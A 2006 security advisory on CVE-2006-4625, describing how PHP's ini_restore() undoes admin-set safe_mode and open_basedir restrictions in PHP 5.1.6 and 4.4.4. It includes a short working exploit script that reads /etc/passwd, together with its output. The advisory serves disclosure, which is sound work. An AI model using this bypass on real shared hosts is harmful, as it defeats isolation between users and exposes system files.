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[PHP 5.1.6 / 4.4.4 Critical php_admin* bypass by ini_restore()]


Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- - Written: 05.09.2006
- - Public: 09.09.2006
SecurityAlert Id: 42
CVE: CVE-2006-4625
SecurityRisk: High
Affected Software: PHP 5.1.6 / 4.4.4 < = x
Advisory URL: http://securityreason.com/achievement_securityalert/42
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific 
features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much 
of the PHP Conference Material is freely available. 

php_admin_value  name  value

    Sets the value of the specified directive. This can not be used in .htaccess files. Any directive type set with php_admin_value can 
not be overridden by .htaccess or virtualhost directives. To clear a previously set value use none as the value. 
php_admin_flag name on|off

    Used to set a boolean configuration directive. This can not be used in .htaccess files. Any directive type set with php_admin_flag 
can not be overridden by .htaccess or virtualhost directives. 

http://pl.php.net/manual/en/configuration.changes.php

- --- 1. php_admin_value and php_admin_flag Bypass ---
When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g. 
httpd.conf). This options are using by a lot of ISP to set open_basedir, safe_mode and more options.

For example:
open_basedir in httpd.conf

- ---
<Directory /usr/home/frajer/public_html/>
    Options FollowSymLinks MultiViews Indexes
    AllowOverride None
    php_admin_flag safe_mode 1
    php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
- ---

In PHP are two config options. Are Local Value and Master Value. More in phpinfo() or ini_get() 

Example:
If you have safe_mode or open_basedir (etc) set in Local Value for selected users and in Master Value is default value, you can restore 
Master Value to Local Value per ini_restore() function!

- ---
ini_restore

(PHP 4, PHP 5)
ini_restore -- Restores the value of a configuration option
- ---

Restores the value of a php.ini file. Then your PHP options from httpd.conf are bypassed.

EXPLOIT:
- ---
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
- ---

RESULT OF EXPLOIT:
- ---
1
/usr/home/frajer/public_html/
Warning: include() [function.include]: open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): 
(/usr/home/frajer/public_html/) in /usr/home/frajer/public_html/ini_restore.php on line 4

Warning: include(/etc/passwd) [function.include]: failed to open stream: Operation not permitted in 
/usr/home/frajer/public_html/ini_restore.php on line 4

Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (include_path='.:') in 
/usr/home/frajer/public_html/ini_restore.php on line 4
# $BSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-ag.....
- ---

This issue is very dangerous, because Admin can't correct set open_basedir or safe_mode for all users.

- --- 2. How to fix ---
fixed in CVS HEAD, PHP_5_2, PHP_5_1 and PHP_4_4.

http://cvs.php.net/viewcvs.cgi/php-src/NEWS

- --- 3. Greets ---

For: sp3x
and
p_e_a, l5x

- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

Regards 
SecurityReason
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